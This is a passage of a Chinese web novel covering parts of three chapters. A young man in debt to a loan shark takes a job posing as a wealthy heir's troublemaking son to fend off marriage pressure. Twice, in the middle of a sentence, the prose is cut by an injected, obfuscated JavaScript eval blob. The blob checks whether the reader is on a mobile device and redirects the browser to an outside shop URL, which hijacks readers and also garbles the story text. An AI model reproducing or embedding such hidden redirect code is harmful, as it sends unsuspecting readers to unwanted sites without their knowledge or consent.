趁林豹不在,他眼睛一直往小弟口袋里瞄:“棱不棱把窝的手期……” 刚才那通陌生来电被挂断后,手机铃声就没再响起过。 “窝什么窝,真恶心!”小弟打了个寒颤,怒视他,“你能不能好好说话!” “算了,你还是用手机跟我说话吧!” 手机被爽快地塞回他手里。 乔玉眼睛一亮,动作飞快地翻到来电页面,开始编辑短信。 电话才刚挂断,赶紧补救,以财神爷的脾气,应该不至于生气。 「抱歉,我现在不方便接电话,请问您是……」 还没打完,屏幕顶端突然跳出来一个弹窗通知。 「L请求添加你为好友。」 乔玉指尖一顿,眼睛更亮了。 刚要点进聊天软件,车门被骤然拉开。 一个冰冰凉凉的东西抛到他身上。 “……唔!”乔玉被冰得一哆嗦,反射性躲开。 “躲什么。”车外传来林豹的声音,“拿着啊。” 乔玉茫然低头。 是根雪糕。 砰地一声,林豹反手关上后车门,又拉开副驾的门坐了进去,低声跟司机说了句什么。 车开了。 乔玉捧着雪糕,一动都没敢乱动,小心翼翼地望着车内后视镜。 后视镜里倒映出的林豹也抬起头。 两人视线交汇,林豹居然笑了笑:“拔了牙不是该吃点冰的吗?看你脸肿成这样,昨晚挺疼的吧?” 乔玉大气不敢出,眼睫轻轻颤着。 林豹肯定看得出他是故意的。 “我说你这是何苦呢。”林豹转过头来,盯着他的脸,语气不算凶,“不去就不去,多大点事儿啊,不至于把牙都拔了。” 一阵窸窣动静,林豹手上拆了根雪糕,语重心长道:“小玉啊,我是真心想栽培你,我看你挺有本事,将来肯定有前途。” “一会儿跟着我去收债,好好表现啊。”他叼着雪糕转回头,“行了,快吃雪糕吧,赶紧消消肿。” 乔玉狐疑地盯着后视镜。 手头试探着拆开雪糕包装纸。 “吃吧,一会儿化了。”林豹露出一个和善的微笑,“放松点,就当在自己家。” 乔玉一口咬住雪糕,往后一倒,像没了骨头似的,瞬间瘫倒在后座上。 林豹:“……” 他表情抽了抽,一言不发地收回视线。 不知道林豹突然装好人是想干嘛。 管不了那么多了,乔玉立马捡起手机,火速戳进聊天窗口,通过了那个好友申请。 申请理由里只有一个字:梁。 真是财神爷! 加上好友,乔玉正在琢磨该怎么打招呼,对面先发来了消息。 L:「Hi.」 L:「我还以为打错电话了,试着搜了下,发现你微信同号。」 小玉:「哥,没想到你真的会联系我!」 他的微信号就是手机号,昵称就是小玉,很好认。 职业打工人的素养,生怕客户找不到自己。 乔玉想了想,指尖动得飞快。 小玉:「昨天的事谢谢你,还有,对不起啊哥。」 L:「猫猫问号.jpg」 L:「道什么歉啊,因为昨晚有人在酒吧里闹事?」 L:「那件事又不是你的错。」 不过道谢倒是应该。 毕竟昨晚的事最后是老商摆平的。 本来他都没想搭理这出乱子,没想到商牧钧居然管了。 莫名其妙的。 ……不会真在非洲被人夺舍了吧? 一觉醒来还是没想通,梁召睿靠在床沿迷惑地抠抠脑袋,正要顺着这个话茬再闲扯两句。 小玉:「不是,是因为我留联系方式给你的目的。」 小玉:「哥,其实我不是正儿八经的调酒师,昨晚只是被拉来临时顶班的,所以很多酒都不会调。」 L:「啊?」 L:「那你是干嘛的?」 小玉:「我缺钱,能干的活都干,学东西也算快,以前经常帮人演戏,因为挣得多。」 小玉:「生活里有时候会遇到麻烦,比如宴席上原本请的人突然来不了,又必须有一个人坐在那儿装个样子,我就干这个。」 小玉:「哥,万一你有需要的话,随时可以找我。」 小玉:「对不起,这就是昨晚我想问你要联系方式的原因。」 小玉:「但我也是真心想跟你学调酒的,多学点东西总没坏处。」 屏幕上的文字一行行跳出来。 梁召睿愣愣看着,忽然想起昨天晚上,被客人追问为什么不读书时,调酒师始终笑盈盈的眼睛。 发完消息,乔玉眼睛一眨不眨地盯着屏幕,等待对方的反应。 半晌,满屏文字终于往上滚动了一下。 对面回了! 发来了一个嗷嗷大哭的表情包。 乔玉:? 两秒不到,满屏文字又滚了回来。 哭泣表情被迅速撤回。 ……手滑了? 又过了好一会儿。 L:「哦,知道了。」 L:「所以你专门帮人解决麻烦?」 语气看着有点冷淡,但乔玉还是长长地舒了口气。 过关了! “这么高兴啊?”旁边人问。 当然高兴了,这次只说真话就搞定了老板! 乔玉用力点点头,下意识想接话,结果只发出唔唔两声。 ……不对。 他猛地扭头,差点没撞上另一个脑袋。 “你打这么多字不累啊。”文盲小弟也凑在他的手机屏幕前,很是不满,“下次能不能发语音啊?我都看不懂。” 谁让你看了啊!! 冰凉的雪糕冻得口腔发麻,乔玉回过神来,皱着脸瞪他一眼。 车不知何时已经停了,小弟瞄了眼窗外,瞪回来:“到了,赶紧下车!” “我告诉你,等下好好表现啊。”他抓起乔玉的领子往外拖,“别再误了豹哥的事!” “瞎嚷嚷什么!”从副驾下来的林豹却一把拍开小弟的手,朝乔玉笑笑,“没事,你一会儿站门口看着,装装样子就行了。” 外面太阳很大,照耀着一整排沿街店铺,人流稀稀拉拉。 林豹带着小弟们进了其中一家店,他今天是来收账的。 守在店里的中年男人颤着声后退:“不是我不想还,生意不好,压了很多货款,我现在是真拿不出钱……” “跟我装可怜啊?”林豹嗤笑一声,“你这钱到底是借来做生意,还是借来赌的,你心里有数!” 一行人浩浩荡荡闯进去,唇红齿白脸还肿成汤圆的乔玉在里面格外打眼。 想起林豹刚才的话,他弯腰抓了把灰,往手臂和脸上胡乱一抹。 然后就面无表情站在门口看着,T恤领口被扯得松垮,眉眼都冷下来,看上去真有几分街头马仔的样子。 林豹在屋里向赌鬼追债。 乔玉不知道他到底叫自己过来干嘛,只能走一步看一步。 看着看着,他看起手机。 财神爷的消息还没来得及回呢。 小玉:「差不多,但也要看情况,不是所有的事我都能帮上忙。」 小玉:「哥,你是遇到麻烦了吗?」 L:「没有啊。」 L:「哪有麻烦敢找上我。」 话是这么说,但聊天框顶端的“正在输入中”时隐时现。 乔玉按捺住追问的冲动,耐心等待。 L:「不过呢,我有一个朋友。」 L:「他条件不错,挺有钱,一堆人追他,想跟他结婚,家里也在催,但他实在不愿意,快被烦死了,该怎么办?」 果然! 这种超级有钱又被管得很严的富家少爷,就是很容易遇到麻烦啊! 小玉:「你说的那个朋友是不是你自己?」 据他观察,这位梁少爷更习惯没大没小的聊天方式。 L:「哈哈,不是啦。」 L:「怎么样,你能解决吗?」 不是会这么着急? 乔玉精神振奋,立马把以前接过的类似案例发了过去。 小玉:「我之前帮女性客户解决过被逼婚的问题,但确实没给男性客户演过男朋友。」 小玉:「如果真的打定主意不想结婚,带个男朋友回家的效果应该更好。」 小玉:「哥你不介意的话,可以试试看,哪怕不是找我。」 L:「嗯……我介不介意倒不重要。」 L:「你等会儿啊,我问问他。」 乔玉紧攥手机,等待无中生友的老板考虑,嘴角不自觉上扬。 要是这单能成,这周末的治疗费肯定能交上了! 屋里吵嚷声不断,欠债不还的赌鬼梗着脖子喊:“说了没钱就是没钱!现在是法治社会,你们想拿我怎么样,放高利贷本来就是犯法的知不知道!” 他趁几人不备,边喊边往外逃,撞到守在门口的那个马仔时,顺手一把推过去。 下一秒,仓皇挥出去的手被对方牢牢握住。 “放手!你想打我啊?”赌鬼怒骂,“我告诉你,打人也是犯法的——” 目光在落到对方面孔那一刻时僵住。 年轻男孩冷冷盯着他,白净脸蛋沾着灰,一侧脸颊高高肿起,狼狈不堪,眼神里却透着股狠劲,偏头呸了一声。 唾沫里全是血。 还有一颗碎掉的牙齿。 赌鬼腿一抖,惊恐地瘫倒在地。 ……自己人都打得这么狠! 十分钟后,林豹数完刚收回来的欠款,拍了拍乔玉的肩膀:“小玉啊,我果然没看错你,有本事!” 乔玉在手机上打字,机械男声一字一顿地念:“豹哥,我会在您的酒吧里好好干活的。” 他不想去陪酒,就必须表现出值得林豹重新考虑的价值。 昨晚拔完牙特意问医生要来的没用智齿,到底还是派上了用场。 “想回去调酒?”林豹笑了笑,“但是你脸变成这副样子,不得把客人吓跑啊?” “我体质好,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338128|199263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快就会消肿的。”机械男声念,“豹哥,我们接下来去哪儿?” “去哪儿?”林豹重复着他的话,冷哼道,“哪儿也不去。” 他转头看了眼两边的小弟。 小弟们立马上前,刚还完账的赌鬼被推搡回了店里:“喂!你们要干嘛?我不是已经把钱还了吗?放手!别打我啊——” 卷闸门被唰地拉下,门外只剩乔玉和林豹。 “这小子刚才分明是把我当猴耍。”林豹深深看了他一眼,阴阳怪气道,“你说是不是啊,小玉?” 屋里的拳打脚踢和哀嚎声,隔着门飘出来。 “别忘了,你欠我整整五十万。”林豹语气阴冷,“想靠调酒的那点钱抵债?做梦吧!连利滚利的速度都追不上!” 乔玉陡然掐紧掌心,一声不吭。 “我给你两天时间。”林豹放在他肩膀上的手掌越收越紧,掐得生疼,“两天后,你的脸要是还没好,以后也别想要这张脸了。” 屋里的凄厉求饶持续不休。 林豹压根没打消让他去陪酒的念头。 年轻男孩清瘦的脊骨颤抖起来,眼里迅速积蓄起恐惧的泪水。 良久,颓然垂下头,认了命一般。 两天后,出租屋。 玄关处,乔玉风风火火地一脚蹬进鞋子里,手上翻动着背包,最后检查一遍。 换洗衣服、充电线、身份证……重要的东西都带齐了。 出门之前,他又回头仔细扫了一圈屋子,窗外的光线映亮右脸,只剩轻微的肿胀,没有之前那么吓人了,也不再影响说话。 家里没什么值钱的东西,不怕被砸,宋见恩这段时间也不住这儿,不用他操心。 乔玉挎好背包关上门,准备跑路。 快步跑下楼的时候,他仔细回想着有没有遗漏的事,掏出手机发了条消息。 发给黄毛:「哥,你没事吧?」 那天林豹杀鸡儆猴,带他去收债的时候,身边小弟里并没有那一头显眼的黄毛。 聊天框对面很快回了消息。 黄毛:「用你问?我好得很!」 黄毛:「倒是你小子,别想跑啊,豹哥早就派人盯着你了!」 乔玉一个急刹,停住脚步,从楼道的窗户口鬼鬼祟祟探头往外望。 有辆面包车守在楼下。 车窗下面丢了一地烟头。 ……靠! 乔玉恨恨捶了下墙,咬牙切齿地折返。 半小时后,房东老头肩上挎个包,手里提个二十六寸的行李箱,颤颤巍巍下楼。 守在面包车里的小弟看见了,嘀咕一声:“这老头力气还不小,拎这么大箱子啊。” 老头拖着箱子一路走,汗流了两斤。 走到树荫后的无人处,行李箱里钻出个人,背起包就要跑。 “等会儿!”房东气喘吁吁拽住他,“说好的房租!” 人在金钱的重压下,总能爆发出意想不到的力量。 乔玉只好交了。 前几天调酒挣来的小费全给了房东,这下钱包空空,只剩一张提前买好的火车票。 要是那天能顺利收到财神爷的小费,他这会儿还能留点钱当路费。 ……都怪那个死保镖! 乔玉登上公交,心里忿忿地诅咒着,扭头看着车窗外越来越远的城市风景。 有林豹在,云京他是暂时待不下去了,医院那边的钱不能断,只能先去其他地方想办法挣钱,顺便避避风头。 所以过去两天里,他待在家里给以前服务过的所有老客户做了一次贴心回访,看他们有没有什么新需求。 至于新客户…… 梁姓少爷那边没下文了,说是朋友拒绝了。 拒绝就拒绝嘛,干嘛非得推给朋友。 乔玉估计是梁少爷一时间接受不了找男人演对象这件事,想想也正常,就没再打扰。 反正现在这种情况下,他近期也不太方便出现在云京,不一定能干好这个活。 虽然他能帮别人解决麻烦,却没人能帮他解决眼下的麻烦。 那就只能三十六计走为上计。 四周熙熙攘攘,乔玉刷身份证进了火车站,跟着人流涌进候车大厅。 隔壁座位的乘客拿着手机,在刷娱乐新闻。 乔玉在津津有味地偷看。 “接下来这个瓜,财经圈和娱乐圈都在追!云京豪门圈的黄金单身汉——商氏集团副总裁商牧钧,近期再传婚讯,当红小天后凌菀菀于今日公开表态……” 等会儿,男主的名字怎么有点耳熟呢。 啊,青梅酒业! 不过……他依稀记得青梅好像不叫这个名字啊? 这位商先生这么快就离婚又再婚了吗? 神速啊! 乔玉不禁肃然起敬。 还特意打开股票看了一眼。 青梅酒业自年后开盘,连吃八个跌停,跌得惨不忍睹,跌成了垃圾股,目前已更名为ST青梅。 ……还好没听股神孟叔叔的话瞎买。 看着绿油油的K线图,乔玉心有余悸地摇摇头。 车站开始广播检票,他起身准备进站,顺手按下关机键。 林豹估计很快就会发现他跑了,先关机躲躲比较好。 就在屏幕上弹出关机确认的那一瞬。 轻快的铃声同时响起。 陌生号码,归属地本市。 号码很靓,比梁少爷的还靓。 按在关机键上的手指松了些许。 身侧人流络绎不绝,提着行李大包小包奔赴远方,只背了个双肩包的年轻男孩忽然停下脚步,鹤立鸡群般,如玉面孔上透着犹疑。 几秒钟后,他小心翼翼按下接通,指尖随时做好挂断关机的准备。 听筒那头响起一道陌生男声,嗓音低沉磁性。 对方喊他:“小玉?” “是我。”乔玉愣了一下,“您是……?” 听他答得谨慎,男人似乎笑了,矜雅声线里漫开一股说不出的味道。 “我姓商。”对方说,“是梁召睿的朋友。” “听说,你能帮人解决麻烦?” 6. 第六章 两天前。 婚礼现场,音乐浪漫悠然,户外草坪上开满玫瑰,新郎从花童手中拿起戒指,深呼吸。 台下宾客全是衣着光鲜的公子哥和大小姐,吹着口哨高声起哄。 “昨晚明明只喝了几杯莫吉托,怎么头还在痛,劲儿这么大吗。”梁召睿一边随人群鼓着掌,一边扭头跟身边人嘀咕,“老商,说真的,你再考虑考虑啊。” 商牧钧看着仪式舞台的方向,没什么表情地鼓掌:“不考虑。” “又不是真让你找个男朋友,找人演一下而已,咬咬牙就忍过去了。”梁召睿苦口婆心地劝,“我觉得如果是让那小孩来给你演男朋友,先不说商阿姨吧,至少阮静那边能混过去啊,对不对,他那么机灵。” 对于后半句,商牧钧是认可的,淡淡瞥去一眼:“那个骗子又给你灌什么迷魂汤了?” “什么迷魂汤?老商你这叫偏见!”梁召睿很是不满,“人家都一五一十跟我说了,他不是骗子,是专门——” 话音未落,满场响起震耳欲聋的欢呼和尖叫。 交换完戒指,新郎拥住爱人后腰,深情款款地亲吻另一位新郎。 这是场同性婚礼,其中一位新郎也是豪门阔少,跟商梁两家都有生意往来。 尊重,祝福。 不忍直视。 商牧钧不动声色移开目光,沉默地凝视腾空而起的幸福白鸽。 “别出馊主意了。”他按了按眉心,低声道,“无论如何,我都不会找人来演这种戏的,不管是男是女。” 梁召睿只好叹气:“行吧行吧,真不知道你什么毛病……” 白鸽扑棱翅膀飞走,漫天花瓣洒落,新郎笑着把捧花交给伴娘。 伴娘笑着把捧花抛向人群。 正中全场最受瞩目的单身男人怀里,激起口哨声一片。 众目睽睽之下,商牧钧只能露出体面的微笑。 压低的语调也是温文尔雅的:“同性恋婚礼就不能禁止异性恋参加吗?” 又一束捧花砸过来。 不远处的伴郎朝他大力挥手,抛了个缠绵悱恻的媚眼。 商牧钧:“…………” 同性恋也不准参加。 “啧啧。”梁召睿憋着笑鹦鹉学舌,“无论如何?” 商牧钧含笑把捧花摔进他怀里。 婚礼的主要仪式一结束,不等party开始,商牧钧就借故公司有事,果断离了场。 公司里确实有事。 商氏总部大楼,首席秘书已经提前在楼下等待老板。 电梯徐徐上升,门打开,皮鞋叩击地面,清脆声响由远及近,推开海浪似的问候。 “商总来了!” “商总好!” “商、商总!”瞥见老板的身影越来越近,总裁办外的助理连忙起立,面露难色,吞吞吐吐,“刚才……” 前方的总裁办公室大门紧闭。 商牧钧看了一眼,眉峰陡然蹙起,停下脚步:“秦西。” 首席秘书应声上前。 门开了,一阵香风袭来。 一道袭来的还有满杯咖啡液。 哗啦一声,不偏不倚,全泼在了男人的西装上。 “对不起商总!”门里捧着咖啡杯的女生满身名牌,清清嗓子,故作慌张地开口,“我不是故意的,我只是想给您冲杯咖啡……咦,你是谁??” “我是商总的秘书。”秦西面不改色,任由咖啡液顺着西装面料往下淌,庆幸这位小姐还有点脑子,没用热咖啡,“你是谁?为什么会在这里?” “我……”女生探头张望,看见秘书身后的男人,目光骤亮,“我是新来的实习生沈丽娜!” “实习生?”商牧钧进了办公室,径直走向桌边。 沈丽娜随手把空杯子塞给秘书,连忙跟上去:“对!我爸是……咳,我一直很仰慕您,商总!” 女孩喋喋不休,商牧钧面无表情地听着,目光快速扫过,确定电脑和文件没被动过,才转身。 沈丽娜看见男人从桌上抽出纸巾递给满身狼狈的秘书,风度翩翩,体贴入微。 这人果然像大家说的那样好脾气。 “……总之,我一定会在您这里好好工作的。”她越说越含羞带怯,“您有任何事都可以跟我说,我都会努力学的!” 商牧钧终于将目光转向她。 他微笑着,高挺鼻梁上架着一副细细的银边眼镜,衬衣扣子系到最上面一粒,笔挺的西装襟前夹了一缕残留着浪漫气息的花瓣,昨日的风尘仆仆早已不见踪影,此刻俨然是个衣冠楚楚的绅士。 “让你做什么都可以吗?”男人嗓音低沉。 沈丽娜听得浮想联翩,脸红心跳:“……可、可以!” “那么,我先代表整个部门欢迎沈小姐的加入。”年轻总裁的神色愈发柔和,语气意味深长,“他们一定都很期待你的到来,我想,你很快就会成为战略发展部最不可或缺的一份子。” 沈丽娜脸更红了:“商总,你别这么说,我都不好意思了……” “我只是说实话而已。”商牧钧轻笑着,转头吩咐,“秦西,带沈小姐去熟悉一下贴报销的工作,务必要耐心教她。” “好的商总。”秦西严肃领命,“沈小姐,请跟我来。” “商总,我一定会好好……”女孩忽觉不对,“等等?熟悉什么??” 两小时后。 桌上垒着三大箱纸质文件,整个部门积压待整理的报销单据都在这儿了。 “沈小姐,你又贴错了。”秦西微微叹气,“机票要和行程单一起贴,住宿方面的报销也不能只贴发票,记得要把酒店水单放在一起,另外一定要注意核对发票的金额和抬头是否正确……” 一身咖啡味的首席秘书在耳边滔滔不绝,沈丽娜握着固体胶手忙脚乱地更正:“这样呢?贴对了吗?” 秦西仔细审视:“金额、日期、格式……嗯,都是对的。沈小姐,恭喜你终于做到了。” 沈丽娜松了口气,几乎要喜极而泣。 “但是……”秘书拿着直尺比了比,忽然面露惋惜,“贴歪了,要揭下来重贴呢。” ……重、重贴?! 满手胶水的沈丽娜两眼一黑,彻底红温了。 大小姐拽起名牌包包落荒而逃,整条走廊都回荡着她对手机哭诉的声音。 “爸!我要回家!我不喜欢实习,不喜欢贴报销……也不喜欢他了!!” 第二天,午餐时间,沈丽娜的爸爸直接找上了门。 “小商总,我让丽娜去你那里,是想让她跟在你身边学习的。”沈伟明满脸不赞同,“当然,我不是质疑你的安排,年轻人确实该从基层做起……” “沈董,你能理解我的想法就最好了。”商牧钧切着牛排,含笑接过话,“我当年也是从给人订餐贴发票做起的,现在想想,的确锻炼了我很多。” “……”沈伟明的话硬生生被堵了回去。 商牧钧专心用餐,姿态优雅。 对面的董事脸色变幻,好半晌才重新开口:“话是这么说,但你妈当时对你实在太严厉了,怎么能真的让你从底层业务开始做呢?平白无故吃了多少苦啊!我们几个老家伙都看不下去,唉,可惜她这个人太过霸道,谁的话都不肯听……” 划过白瓷餐盘的刀尖陡然停住,男人垂着眼,脸上掠过一丝郁色。 沈伟明打量着他的神情:“而且她是年纪越大越固执,始终不肯放权,我看这样下去真的不行,时代在变化,老人终归是要被淘汰的,只有新鲜血液才能带领集团往前走啊,小商总,你说是吧?” 商牧钧放下刀叉,用餐巾掖了掖唇边,默不作声听着。 餐厅这一角里,沈伟明絮絮地说了许多。 最后,他低声道:“城东的旧改项目她一直不肯批,劝也劝不动,牧钧啊,你很清楚,这个项目是能给集团带来利益的……” “我会留意的,沈叔叔。”商牧钧说。 商氏是云京最大的综合性商业集团,涉猎众多领域,从商业地产到高端零售,再到科技投资,看着风头无两,但内部已然暗流涌动,隐隐分成两个派系。 集团掌舵人商美伦以手腕强硬著称,这些年在她的主导下,商氏一路扩张,但也触动了不少元老的利益,董事会里对她心怀怨愤的人不在少数。 商牧钧的行事风格则要温和许多,但同样野心勃勃,渴望从刚愎自用的母亲手中获得更多权力,因着年纪轻,根基尚浅,是个可以拉拢和利用的傀儡太子。 包括沈伟明在内的不少人,都这么想。 午餐后,商牧钧独自回到办公室,合上百叶窗。 “沈伟明着急了,他的财务状况我会让人重点查。”他握着手机,另一手转着钢笔,“旧改项目也要再仔细审一遍,肯定有利益输送,就看这次能不能把蛀虫连根拔起。” 电话那头的商美伦听着,半晌后应声:“知道了,你放手去做。” 商牧钧听出她声音里的淡淡疲倦:“你还没休息?” “开了个跨洋电话会,刚结束,正准备去补觉。”商美伦话音一顿,沉吟道,“对了,沈伟明那边……” 商牧钧神情微凛,洗耳恭听:“嗯?” 商美伦冷不丁地:“你觉得他女儿怎么样?” 商牧钧:“……” 盘旋在指间的钢笔差点没飞出去。 “看来这个也不行。”商美伦叹气,语带埋怨,“我明明听说你对人家小姑娘态度不错,害我白高兴一场。” “妈,你不能这样浑水摸鱼。”商牧钧头痛地按了按太阳穴,试图跟母亲讲道理,“我们只是在公司的事上唱红脸白脸,我现在是不得不扮好人,但不代表你可以趁机干涉我的私人生活,我已经够忙的了,放过我吧,好吗?” 一声“妈”喊得情真意切,字字真心。 听筒那边安静了好一会儿。 而后响起商董事长冷酷的声音:“工作的时候称职务。” “……”商牧钧扔掉钢笔,抬手准备挂电话。 “等一下。”商美伦开了天眼似的制止,“好久没见你了,晚上回家吃饭。” 听商牧钧没应声,她又补充了一句:“放心,只有我们母子俩。” “知道了。”商牧钧轻轻叹气,“董事长。” 是夜,商宅。 一踏进家门,商牧钧就听见满屋子欢声笑语。 “牧钧哥哥!”阮静惊喜起身,“你来了!” 阮静的母亲也在一旁,她和商美伦是相识几十年的闺蜜,闻声嗔怪开口:“阿钧总算回来了啊?你说你,好端端地去非洲待那么久做什么,静静天天念着你……” 两个妈妈和一对儿女,目的昭然若揭的鸿门宴。 “只有我们母子俩”? 母子俩对视一眼,商美伦露出一个高贵典雅的微笑。 商牧钧回以微笑,朝门外轻轻招手。 “静静妹妹!美伦阿姨!Surprise!”梁召睿像鞭炮似的窜出来,“你们眼里怎么只有阿钧啊,忘了我是不是!我好想你们——” 一顿饭吃得勾心斗角,宾主尽不欢,唯有梁公子大快朵颐。 饭后,商牧钧还有个品牌活动要出席,和梁召睿一道早早离开了。 “老商,这样下去也不是办法。”梁召睿都替他累,“一天天斗智斗勇的,你到底打算怎么办啊?” 司机在前面开车,后座上的商牧钧看了眼日程:“我打算下周去印尼。” “别开玩笑了,我说认真的!”梁召睿没好气地翻白眼,“你考虑一下我的提议啊,找人演一下男朋友而已,又不会掉块肉。” 商牧钧不为所动,宽阔肩膀倚着真皮靠背,闭目养神,车窗外的霓虹流光淌过银边镜架。 掩在镜框背后,眉骨处的伤痕才结痂不久。 梁召睿投来一瞥:“我可打听到了,这次你们在非洲的工地被当地的武装军抢了,你差点连命都丢了,国外那么乱,又打仗又绑架的,留在国内至少没有生命危险啊。” “试试呗老商。”他继续苦口婆心地劝好友,“就是找人演场戏,管他男的女的呢,总不可能比去非洲还糟吧?” 好友似乎被他劝动:“非洲的确太乱了。” 梁召睿大喜过望:“对嘛!我把那个小孩的微信推给你,你就说是我朋友,记得出手大方点——” “不用。”商牧钧若有所思地打断,“印尼相对安稳些,这趟去可以多待一段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338129|199263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间。” “……”梁召睿彻底无语了,“靠,下次别喊我来救场!再出什么幺蛾子你就自己受着吧!” 当天深夜就出了幺蛾子。 商牧钧是在舆论已经发酵到他手机里的时候,才知道这件事的。 八卦标题堪称耸动:「商氏继承人当众露真情,当红小天后羞涩认爱——豪门婚事将近?!」 题图是张抓拍的照片,来自商牧钧离开商宅后去参加的那场品牌活动,交错的光影中,英俊端方的男人眼含笑意,旁若无人地注视着光彩夺目的女明星,此外的万千风景都模糊成了朦胧幻影。 商牧钧盯着照片沉默片刻,抬眸看旁边的秘书:“你人呢?我记得当时我在跟你说话。” “商总,我在这里。”秦西伸手指向两人之间的那片马赛克幻影,“我是氛围感的一部分。” “……”商牧钧闭了闭眼睛,“羞涩认爱又是怎么回事?” 秦西立刻找出一个视频,递到他面前。 视频很新鲜,是这位小天后一小时前在某活动现场接受的采访。 记者围堵追问:“菀菀!有传闻你和商氏副总裁……” 凌菀菀正色道:“商总是我很尊敬的前辈,我们在工作上有很多交流。至于其他的,顺其自然吧。” 记者:“所以是在交往中吗?” 凌菀菀抿唇一笑,美眸闪动:“还是希望大家多多关注我的作品哦~” 记者:“那么两位有结婚的打算吗?” 凌菀菀但笑不语,戴好墨镜,在助理簇拥下嫣然离去。 记者:“哦~~~~哇~~~~~” 视频播放完毕。 “炒作。”秦西总结陈词,“用词模棱两可,态度暧昧不明,这是典型的碰瓷式炒作,无论我们怎么回应,对方都赚到了流量。” 商牧钧面无表情看完:“发个声明,澄清。” “好的商总。”秦西领命,快步离开,“我马上联系公关部。” 五分钟后,秦西又快步回来了:“抱歉商总,恐怕澄清不了。” “又怎么了?”商牧钧从文件堆里抬起头。 秦西:“公关部那边的回复如下:即日起无法以公司名义为您出具任何与私生活有关的声明或公告,请您谅解,这是商董事长在今早启程前亲自下达的命令。” “……启程?”商牧钧有种不妙的预感,“她去哪儿了?” 秦西答:“去印尼考察了。” 商牧钧:“…………” 他现在是真的想夺权篡位了。 啪的一声,文件在桌面上摔开。 商牧钧摘掉眼镜,手指捏着眉心,脑袋嗡嗡响,声音里透着浓浓烦躁:“你先出去吧。” 秦西悄无声息地出去了,轻轻带上门。 总裁办公室安静下来,过了许久,商牧钧的头痛仍未缓解,反而愈演愈烈,伸手拉开抽屉。 药瓶在抽屉里滚动,发出骨碌碌的声音,他侧眸一瞥,目光忽然顿住。 药瓶旁边有一团白色的纸巾。 或者说,玫瑰。 那晚离开酒吧后,他回了趟办公室拿文件,随手把东西放在了这里。 洁白花瓣上的漆黑笔迹仍然清晰。 留言,电话号码,小玉。 商牧钧定定注视着这朵安静的纸玫瑰。 一分钟后,他拨通了花瓣上的电话号码。 电话那头的小骗子原本语气警惕,直到听见他自称是梁召睿的朋友后,声音忽然像打了气一样飞扬起来。 “您是那位梁少的朋友吗?!”自称小玉的男孩积极踊跃道,“您好,商先生!我听梁少说过您的情况了,您现在是需要一个人来帮您解决被逼婚的麻烦,对吗?” 嗓音热情得像第一次同他说话。 商牧钧无端觉得有些好笑,低低应了一声。 “那么商先生,请问您需要哪种类型?”小玉如数家珍,“清纯的?优雅的?妖艳的?还是……” 商牧钧:“永绝后患的。” “明白!”小玉立马机灵地改口,“我会竭尽所能扮演好您泼辣强悍的男朋友,商先生,您有任何要求都可以告诉我,我一定会努力办到的!” 真耳熟。 办公室的宽大皮椅里,握着手机的男人蓦地笑起来,单手扯松了系得规矩齐整的领带,喉结起伏滚动,极具绅士风度的银边眼镜孤零零躺在桌面上。 “让你做什么都可以吗?”他温和地问。 “……呃,在工作范围内是可以的。”听筒那头有一瞬迟疑,“商先生,我确认一下,您是需要我扮演您的男朋友来回绝追求者—— ” “不。”商牧钧打断他。 梁召睿一口一个小孩地喊这个小骗子。 找个小孩当男朋友可不行。 商牧钧温声说:“我要你演我十五岁时跟人乱搞生下来的混世魔王儿子。” 电话那头足足寂静了半分钟。 像是被他的话惊呆了。 “等等!商先生。”小玉讷讷道,“我之前从来没有试过这种……” 商牧钧听着,却想起那个光怪陆离的夜晚,一身衬衣马甲的调酒师错失小费后蓦然回首,黑亮眸珠里燃着火星似的忿忿不满。 “酬金一天20万,日结。”商牧钧慢条斯理地说,“福利和奖金另算,会签订正式合同明确你的义务和收入,你觉得这个条件怎么样?” 又是半分钟的寂静。 那道年轻灿烂的嗓音再响起时,轻轻发着抖,不知是兴奋还是难以置信。 “商先生,我再确认一下,您想要那种很会惹麻烦的儿子,对吗?” “嗯。” “那……那您会为您的儿子解决这些麻烦吗?” “你想说什么?” “没、没什么。”小玉深吸一口气,光速改了口,“爸,我今天就可以上岗!不,一小时后我就能出现在您的面前!” “是么?”商牧钧失笑,“那就来吧。” 这个小骗子完全没有认出他是谁。 挂断电话前,男人意味深长地道别:“我很期待见到你,小玉。” 另一头的小玉同样迫不及待:“我也是,爸爸!!” 7. 第七章 人头攒动的检票闸机前,一道高挑俊秀的身影逆着人流往外跑。 “让一让!”年轻男孩漂亮的脸蛋上绽着笑,小兽似的莽莽撞撞闯出来,浑然不顾周遭旅客的抱怨,“让我一下,我要出去!” 但凡这个电话再晚来几秒钟,他就已经关掉手机,进站上车了。 进站之后就不能退票了! 乔玉以最快速度冲到售票窗口前,抢在发车时间前退了票,才长长舒了一口气。 退票费要收20%,好贵! 和商姓老板约定的见面时间是一小时后,老板给的地址很陌生,地铁公交都不能直达。 时间有限,乔玉怕迟到,奢侈地拦了部出租车。 坐进车里,他报出地址的时候,出租车司机一骨碌地转头过来打量:“你要去天澜云境?” 后座上的男孩穿着很普通的T恤牛仔裤,不含一丝名牌,完全看不出跟云京的顶级富人区有什么关系。 乔玉容光焕发:“嗯!” 司机咂舌:“有钱哦!” 对!他马上就是日薪20万的有钱人了! 乔玉嘿嘿一笑,没再跟司机闲聊,掏出手机挨个给人发消息。 